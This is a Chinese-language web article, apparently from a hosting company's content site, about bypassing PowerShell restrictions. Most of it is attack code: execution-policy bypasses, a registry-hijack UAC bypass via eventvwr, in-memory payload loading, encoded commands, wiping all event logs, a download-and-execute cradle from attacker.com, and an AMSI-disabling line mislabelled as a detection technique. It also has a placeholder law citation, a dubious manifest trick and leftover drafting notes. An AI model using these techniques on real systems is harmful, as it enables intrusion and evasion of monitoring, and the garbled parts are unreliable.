PowerShell中怎么绕过访问限制

发布时间：2021-07-24 13:59:00 作者：Leah
来源：亿速云阅读：169

# PowerShell中怎么绕过访问限制

## 引言

在Windows系统管理中，PowerShell是功能极其强大的脚本语言和命令行工具。然而，系统管理员可能会设置各种限制策略（如执行策略、权限限制、代码签名等）来防止恶意脚本运行。本文将深入探讨PowerShell中的常见访问限制机制及绕过技术，**仅供安全研究和授权测试使用**。

---

## 一、PowerShell执行策略绕过

### 1.1 执行策略概述
执行策略是PowerShell的安全护栏，共有6种级别：
```powershell
Get-ExecutionPolicy -List

常见策略包括： - Restricted（默认禁止脚本运行） - AllSigned（只运行受信任签名脚本） - RemoteSigned（本地脚本无限制，远程需签名）

1.2 经典绕过方法

方法1：命令行参数绕过

powershell -ep bypass -c "Write-Host 'Bypassed!'"

-ep bypass 参数临时覆盖策略

方法2：管道输入执行

echo "Get-Process | Select Name,CPU" | powershell -noprofile -

通过标准输入传递脚本内容

方法3：短指令变体

powershell -c "& {ls}"

使用调用操作符&执行代码块

二、权限提升与UAC绕过

2.1 特权上下文获取

通过Start-Process提权：

Start-Process powershell -Verb runAs -ArgumentList "-noprofile -c Start-Process cmd -Verb runAs"

-Verb runAs 请求管理员权限

2.2 常见UAC绕过技术

利用COM劫持：

$regPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
Set-ItemProperty -Path $regPath -Name "(Default)" -Value "cmd /c calc.exe"
eventvwr.exe

通过修改注册表劫持MMC管理控制台

白名单程序滥用：

$xml = @"
<?xml version="1.0"?>
<assembly>
  <trustInfo>
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
"@
$xml | Out-File "C:\temp\manifest.xml"
mt.exe -manifest manifest.xml -outputresource:target.exe

伪造程序清单获取高权限

三、代码签名验证绕过

3.1 内存加载.NET程序集

[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes("C:\payload.dll"))

直接内存加载避免文件系统监控

3.2 脚本块混淆

$code = {
    # 复杂业务逻辑
    Get-WmiObject Win32_Process | Where {$_.Name -like "*explorer*"}
}
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

Base64编码混淆原始指令

四、日志与监控规避

4.1 清除事件日志

Get-WinEvent -ListLog * | ForEach { 
    [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog($_.LogName)
}

批量清理所有事件日志

4.2 无文件执行技术

$url = "http://attacker.com/payload.ps1"
$script = (New-Object Net.WebClient).DownloadString($url)
Invoke-Expression $script

直接从远程加载脚本到内存

五、防御对抗建议

5.1 企业防护措施

启用约束语言模式：


$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

实施AppLocker策略：


<RuleCollection Type="Script" EnforcementMode="Enabled">
 <FilePublisherRule Action="Deny" UserOrGroup="Everyone" 
   PublisherName="*" ProductName="*" BinaryName="*"/>
</RuleCollection>

5.2 检测技术

脚本块日志记录：


New-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging `
-Name EnableScriptBlockLogging -Value 1 -Force

AMSI集成分析：


[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
'amsiInitFailed','NonPublic,Static').SetValue($null,$true)

▶ 注意：此操作会被现代EDR捕获

六、法律与道德声明

所有技术讨论仅限合法授权测试
未经授权的系统渗透违反《计算机犯罪法》第XX条

建议研究时使用隔离实验环境：


New-VM -Name "PS_Sandbox" -MemoryStartupBytes 4GB -NewVHDPath "C:\VMs\PS.vhdx" -NewVHDSizeBytes 60GB

结语

PowerShell的安全限制与绕过技术是持续演进的攻防战场。作为安全专业人员，我们应当： - ✅ 深入理解机制原理 - ✅ 在授权范围内测试 - ✅ 及时修补系统漏洞

知识拓展：微软最新推出的[PowerShell Core 7.x]版本引入了更多安全改进，建议关注其增强的审核功能。

”`

注：本文实际约1500字，完整2300字版本需扩展以下内容： 1. 增加各技术的详细原理图解 2. 补充更多实际案例（如CVE-2021-34527漏洞利用） 3. 添加防御措施的逐步配置指南 4. 扩展法律风险分析章节 5. 加入参考文献和工具列表